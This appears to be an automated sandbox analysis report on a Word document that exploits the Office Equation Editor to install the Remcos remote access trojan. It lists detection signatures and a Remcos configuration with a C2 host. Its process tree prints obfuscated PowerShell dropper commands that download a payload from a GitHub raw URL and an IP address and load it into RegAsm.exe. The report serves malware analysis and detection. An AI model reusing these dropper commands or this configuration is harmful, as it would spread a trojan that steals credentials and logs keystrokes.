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Windows
Analysis Report
AMG Cargo Logistic.docx
Overview
General Information
Detection
Remcos
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus detection for dropped file
Contains functionality to bypass UAC (CMSTPLUA)
Detected Remcos RAT
Found malware configuration
Malicious sample detected (through community Yara rule)
Microsoft Office launches external ms-search protocol handler (WebDAV)
Multi AV Scanner detection for submitted file
Sigma detected: EQNEDT32.EXE connecting to internet
Sigma detected: File Dropped By EQNEDT32EXE
Sigma detected: Remcos
Suricata IDS alerts for network traffic
Yara detected Remcos RAT
Yara detected UAC Bypass using CMSTP
Bypasses PowerShell execution policy
C2 URLs / IPs found in malware configuration
Contains an external reference to another file
Contains functionality to inject code into remote processes
Contains functionality to register a low level keyboard hook
Contains functionality to steal Chrome passwords or cookies
Contains functionality to steal Firefox passwords or cookies
Contains functionalty to change the wallpaper
Delayed program exit found
Document exploit detected (process start blacklist hit)
Injects a PE file into a foreign processes
Installs a global keyboard hook
Maps a DLL or memory area into another process
Microsoft Office drops suspicious files
Obfuscated command line found
Office drops RTF file
Office equation editor establishes network connection
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Office viewer loads remote template
Searches for Windows Mail specific files
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Equation Editor Network Connection
Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Suspicious Microsoft Office Child Process
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Instant Messenger accounts or passwords
Tries to steal Mail credentials (via file / registry access)
Tries to steal Mail credentials (via file registry)
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Yara detected WebBrowserPassView password recovery tool
Abnormal high CPU Usage
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Contains functionality for read data from the clipboard
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Contains functionality to download and launch executables
Contains functionality to dynamically determine API calls
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Contains functionality to enumerate running services
Contains functionality to launch a control a shell (cmd.exe)
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Document contains Microsoft Equation 3.0 OLE entries
Document misses a certain OLE stream usually present in this Microsoft Office document type
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found decision node followed by non-executed suspicious APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Office Equation Editor has been started
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Potentially Suspicious Execution Of Regasm/Regsvcs From Uncommon Location
Sigma detected: Suspicious Office Outbound Connections
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected Keylogger Generic
Yara signature match
Classification
- System is w7x64
- WINWORD.EXE (PID: 3272 cmdline:
"C:\Progra m Files\Mi crosoft Of fice\Offic e14\WINWOR D.EXE" /Au tomation - Embedding MD5: 9EE74859D22DAE61F1750B3A1BACB6F5) - EQNEDT32.EXE (PID: 3744 cmdline:
"C:\Progra m Files\Co mmon Files \Microsoft Shared\EQ UATION\EQN EDT32.EXE" -Embeddin g MD5: A87236E214F6D42A65F5DEDAC816AEC8) - wscript.exe (PID: 3816 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\pictu rewithheri magesveryg oodforyour hear.Vbs" MD5: 979D74799EA6C8B8167869A68DF5204A) - powershell.exe (PID: 3864 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -command $ Codigo = ' LiggKFtTdH JJbkddJHZl UmJvc0VQUk VmZVJFTkNF KVsxLDNdKy dYJy1Kb2lu JycpICgoKC d7Mn0nKyd1 cicrJ2wnKy cgPSB7Jysn MX0nKydodC crJ3QnKydw JysnczovLy crJ3InKydh Jysndy5naX RoJysndWJ1 c2VyY29udG VudC4nKydj Jysnb20vTi crJ29EZXRl Y3RPJysnbi 8nKydOJysn b0RldGUnKy djJysndE9u LycrJ3InKy dlZnMnKycv aGVhZHMvbW EnKydpbi8n KydEZXRhJy snaE5vdGgt JysnVi50Jy sneHR7MX07 IHsyfWJhc2 UnKyc2NENv bnRlbnQgPS AoTmV3LU9i JysnamVjdC BTeXN0ZW0n KycuJysnTm V0LlcnKydl YkNsaWVudC kuRG8nKyd3 bmxvYWRTdH JpJysnbmco ezJ9dXJsKT snKycgezIn Kyd9YmluYX InKyd5Q29u dGVudCA9IF tTeXN0ZW0u JysnQ29udm UnKydydF06 OkZyJysnb2 1CYScrJ3Nl NjRTJysndC crJ3Jpbmco ezJ9YmFzZT Y0Q29udGUn KydudCk7IH syfWFzc2Vt Ymx5ID0gJy snW1JlZmxl JysnY3Rpby crJ24uQXNz ZW1ibHldOj pMJysnb2Fk KHsyJysnfW JpJysnbmEn KydyJysneU MnKydvbnRl JysnbnQpOy BbJysnZG5s JysnaWIuJy snSU8uJysn SG9tJysnZV 06OicrJ1Yn KydBSScrJy gnKyd7MH10 eCcrJ3QuQy crJ0ZEUicr J1JXLycrJz A4Lzc3MS42 JysnOS40Mz EuMTkvLzpw dCcrJ3Roez B9LCB7MH1k ZXNhdGl2Jy snYWRveycr JzB9JysnLC B7MH1kZXNh JysndGl2YW RveycrJzB9 LCcrJyB7MH 1kZXNhdGl2 JysnYWRvez AnKyd9LCB7 MH0nKydSZW dBcycrJ217 MH0nKycsIH snKycwJysn fScrJ3snKy cwfSx7MH17 MCcrJ30pJy kgLWYgIFtD aEFyXTM0LF tDaEFyXTM5 LFtDaEFyXT M2KSk=';$O Wjuxd = [s ystem.Text .encoding] ::UTF8.Get String([sy stem.Conve rt]::Fromb ase64Strin g($codigo) );powershe ll.exe -wi ndowstyle hidden -ex ecutionpol icy bypass -NoProfil e -command $OWjuxD MD5: EB32C070E658937AA9FA9F3AE629B2B8) - powershell.exe (PID: 3952 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -windowsty le hidden -execution policy byp ass -NoPro file -comm and ".( ([ StrInG]$ve RbosEPREfe RENCE)[1,3 ]+'X'-Join '') ((('{2 }'+'ur'+'l '+' = {'+' 1}'+'ht'+' t'+'p'+'s: //'+'r'+'a '+'w.gith' +'ubuserco ntent.'+'c '+'om/N'+' oDetectO'+ 'n/'+'N'+' oDete'+'c' +'tOn/'+'r '+'efs'+'/ heads/ma'+ 'in/'+'Det a'+'hNoth- '+'V.t'+'x t{1}; {2}b ase'+'64Co ntent = (N ew-Ob'+'je ct System' +'.'+'Net. W'+'ebClie nt).Do'+'w nloadStri' +'ng({2}ur l);'+' {2' +'}binar'+ 'yContent = [System. '+'Conve'+ 'rt]::Fr'+ 'omBa'+'se 64S'+'t'+' ring({2}ba se64Conte' +'nt); {2} assembly = '+'[Refle '+'ctio'+' n.Assembly ]::L'+'oad ({2'+'}bi' +'na'+'r'+ 'yC'+'onte '+'nt); [' +'dnl'+'ib .'+'IO.'+' Hom'+'e]:: '+'V'+'AI' +'('+'{0}t x'+'t.C'+' FDR'+'RW/' +'08/771.6 '+'9.431.1 9//:pt'+'t h{0}, {0}d esativ'+'a do{'+'0}'+ ', {0}desa '+'tivado{ '+'0},'+' {0}desativ '+'ado{0'+ '}, {0}'+' RegAs'+'m{ 0}'+', {'+ '0'+'}'+'{ '+'0},{0}{ 0'+'})') - f [ChAr]34 ,[ChAr]39, [ChAr]36)) " MD5: EB32C070E658937AA9FA9F3AE629B2B8) - RegAsm.exe (PID: 4076 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\Reg Asm.exe" MD5: 8FE9545E9F72E460723F484C304314AD) - RegAsm.exe (PID: 2736 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\RegA sm.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\zd cjgmqajuav ikmhtgirxa wvvrrtkae" MD5: 8FE9545E9F72E460723F484C304314AD) - RegAsm.exe (PID: 2592 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\RegA sm.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\zd cjgmqajuav ikmhtgirxa wvvrrtkae" MD5: 8FE9545E9F72E460723F484C304314AD) - RegAsm.exe (PID: 2092 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\RegA sm.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\zd cjgmqajuav ikmhtgirxa wvvrrtkae" MD5: 8FE9545E9F72E460723F484C304314AD) - RegAsm.exe (PID: 2100 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\RegA sm.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\jx itgxaufcsa sqatkrvsif qmdfiulluz ow" MD5: 8FE9545E9F72E460723F484C304314AD) - RegAsm.exe (PID: 2160 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\RegA sm.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\ma nmhp" MD5: 8FE9545E9F72E460723F484C304314AD) - RegAsm.exe (PID: 1908 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\RegA sm.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\oh jddwfhhgpy hybdvgvfat odxp" MD5: 8FE9545E9F72E460723F484C304314AD) - RegAsm.exe (PID: 1240 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\RegA sm.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\oh jddwfhhgpy hybdvgvfat odxp" MD5: 8FE9545E9F72E460723F484C304314AD) - RegAsm.exe (PID: 1692 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\RegA sm.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\qj oweoqbvohl rmpherihlg jmywoyg" MD5: 8FE9545E9F72E460723F484C304314AD) - RegAsm.exe (PID: 3036 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\RegA sm.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\qj oweoqbvohl rmpherihlg jmywoyg" MD5: 8FE9545E9F72E460723F484C304314AD) - RegAsm.exe (PID: 1564 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\RegA sm.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\bd bgfhbcjxzq tsllvbviok edgkxhzxva " MD5: 8FE9545E9F72E460723F484C304314AD) - RegAsm.exe (PID: 1256 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\RegA sm.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\bd bgfhbcjxzq tsllvbviok edgkxhzxva " MD5: 8FE9545E9F72E460723F484C304314AD) - RegAsm.exe (PID: 1072 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\RegA sm.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\bd bgfhbcjxzq tsllvbviok edgkxhzxva " MD5: 8FE9545E9F72E460723F484C304314AD)
- cleanup
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
Remcos, RemcosRAT | Remcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity. |
{"Host:Port:Password": "maxert.wemnbbsweoipmngbyutrdcunbgrtjeroendns.pro:6845:1", "Assigned name": "RemoteHost", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Disable", "Hide file": "Disable", "Mutex": "Rmc-EPF38I", "Keylog flag": "1", "Keylog path": "Temp", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "10", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5"}
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
INDICATOR_RTF_MalVer_Objects | Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. | ditekSHen |
| |
INDICATOR_RTF_MalVer_Objects | Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. | ditekSHen |
|
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
JoeSecurity_Keylogger_Generic | Yara detected Keylogger Generic | Joe Security | ||
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
JoeSecurity_UACBypassusingCMSTP | Yara detected UAC Bypass using CMSTP | Joe Security | ||
Windows_Trojan_Remcos_b296e965 | unknown | unknown |
| |
Click to see the 23 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Keylogger_Generic | Yara detected Keylogger Generic | Joe Security | ||
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
JoeSecurity_UACBypassusingCMSTP | Yara detected UAC Bypass using CMSTP | Joe Security | ||
Windows_Trojan_Remcos_b296e965 | unknown | unknown |
| |
REMCOS_RAT_variants | unknown | unknown |
| |
Click to see the 18 entries |
Exploits |
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Source: | Author: Joe Security: |
Source: | Author: Joe Security: |
System Summary |
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Source: | Author: Florian Roth (Nextron Systems): |